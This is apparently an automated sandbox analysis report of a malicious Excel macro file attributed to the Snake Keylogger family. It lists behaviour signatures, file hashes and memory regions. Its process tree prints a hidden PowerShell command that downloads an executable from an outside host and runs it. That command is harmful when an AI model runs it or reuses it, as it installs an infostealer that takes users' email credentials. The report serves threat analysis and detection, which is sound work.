Analysis

  • max time kernel
    134s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-11-2024 13:58

General

  • Target

    b416b3cd07533aa1e3f322bbf904be65df03dcf08507ef9a683271a3c4848025.xlsm

  • Size

    438KB

  • MD5

    9bf51f7bdf35911324a4fbb9235090f7

  • SHA1

    d1abcb2b543a4c0f308dade69d1be6a96f356a3b

  • SHA256

    b416b3cd07533aa1e3f322bbf904be65df03dcf08507ef9a683271a3c4848025

  • SHA512

    c678628535508e250605babc13d899c598ab1466294b7917d583b577fb5362346b47952d684622c445512753980329ecc513934a7391b7511f7fc1588d981aff

  • SSDEEP

    12288:Zl3PBexJxH0cZtSlOSgjG3IWNqAvfTYxv25F3:Z5PBexJJF2cSwG4ofTn55

Malware Config

Extracted

Family

snakekeylogger

Credentials

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 1 IoCs
  • Snakekeylogger family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3436
      • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b416b3cd07533aa1e3f322bbf904be65df03dcf08507ef9a683271a3c4848025.xlsm"
        2⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1016
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "https://cia.tf/2ed7362e959d42385d4e6d231a6840dd.exe" -OutFile $TempFile; Start-Process $TempFile;
          3⤵
          • Process spawned unexpected child process
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:432
          • C:\Users\Admin\AppData\Local\Temp\tmpAC8C.exe
            "C:\Users\Admin\AppData\Local\Temp\tmpAC8C.exe"
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Drops startup file
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1604
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:5324

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_40l4clxz.v1x.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\tmpAC8C.exe

      Filesize

      1.0MB

      MD5

      2ed7362e959d42385d4e6d231a6840dd

      SHA1

      b3cc47ac92296d978fc991d9658c771f225dbf18

      SHA256

      13cb2135790780947be355c3c9ed42be1987c9e64d6cd0c43a5a4c5ae289dc30

      SHA512

      66553bb74d63e2d8bb47751f87f93dee66c4acbe647115dea5148d6b301f0a6802ae972a3fc26c1bcf9412775f1fbfd6238c1b477f726e0386cdef183551b758

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

      Filesize

      1KB

      MD5

      3fcb3de852b16407344d48c18adeae52

      SHA1

      49099217b0caffbd0c8634a48bc0781f7224d6e2

      SHA256

      ec68d0056d338350f414a3a6718140a5ff92c62517f6aef5b55d1dfc56b24645

      SHA512

      dc6667fed3fac7538e4c0590c5c3713c3ec91896cebf8109023bb19b58e4a9ae77a932c8d87757f907f26e49fdb5bc1190ec9e11e7c80e782d4250531a7cacb6

    • memory/432-32-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/432-33-0x000001DECC520000-0x000001DECC542000-memory.dmp

      Filesize

      136KB

    • memory/432-64-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-11-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-6-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-4-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

      Filesize

      64KB

    • memory/1016-3-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

      Filesize

      64KB

    • memory/1016-2-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

      Filesize

      64KB

    • memory/1016-8-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-9-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-10-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-1-0x00007FF94DA8D000-0x00007FF94DA8E000-memory.dmp

      Filesize

      4KB

    • memory/1016-12-0x00007FF90B350000-0x00007FF90B360000-memory.dmp

      Filesize

      64KB

    • memory/1016-7-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-5-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

      Filesize

      64KB

    • memory/1016-13-0x00007FF90B350000-0x00007FF90B360000-memory.dmp

      Filesize

      64KB

    • memory/1016-14-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-15-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-17-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-16-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-28-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-29-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-46-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-47-0x00007FF94DA8D000-0x00007FF94DA8E000-memory.dmp

      Filesize

      4KB

    • memory/1016-51-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/1016-0-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

      Filesize

      64KB

    • memory/1604-114-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-92-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-67-0x0000000005750000-0x0000000005842000-memory.dmp

      Filesize

      968KB

    • memory/1604-74-0x0000000005A70000-0x0000000005B02000-memory.dmp

      Filesize

      584KB

    • memory/1604-104-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-66-0x0000000000660000-0x000000000076A000-memory.dmp

      Filesize

      1.0MB

    • memory/1604-130-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-126-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-124-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-122-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-120-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-118-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-116-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-112-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-110-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-108-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-106-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-102-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-100-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-96-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-94-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-68-0x0000000005F30000-0x00000000064D4000-memory.dmp

      Filesize

      5.6MB

    • memory/1604-90-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-88-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-86-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-84-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-82-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-80-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-78-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-128-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-98-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-76-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-75-0x0000000005750000-0x000000000583C000-memory.dmp

      Filesize

      944KB

    • memory/1604-1225-0x0000000005B10000-0x0000000005B72000-memory.dmp

      Filesize

      392KB

    • memory/1604-1226-0x0000000005BC0000-0x0000000005C0C000-memory.dmp

      Filesize

      304KB

    • memory/1604-1227-0x0000000005C10000-0x0000000005C64000-memory.dmp

      Filesize

      336KB

    • memory/5324-1235-0x0000000000610000-0x0000000000636000-memory.dmp

      Filesize

      152KB

    • memory/5324-1236-0x0000000004B10000-0x0000000004BAC000-memory.dmp

      Filesize

      624KB

    • memory/5324-1237-0x0000000005E80000-0x0000000005ED0000-memory.dmp

      Filesize

      320KB

    • memory/5324-1238-0x00000000060A0000-0x0000000006262000-memory.dmp

      Filesize

      1.8MB

    • memory/5324-1239-0x0000000005F00000-0x0000000005F0A000-memory.dmp

      Filesize

      40KB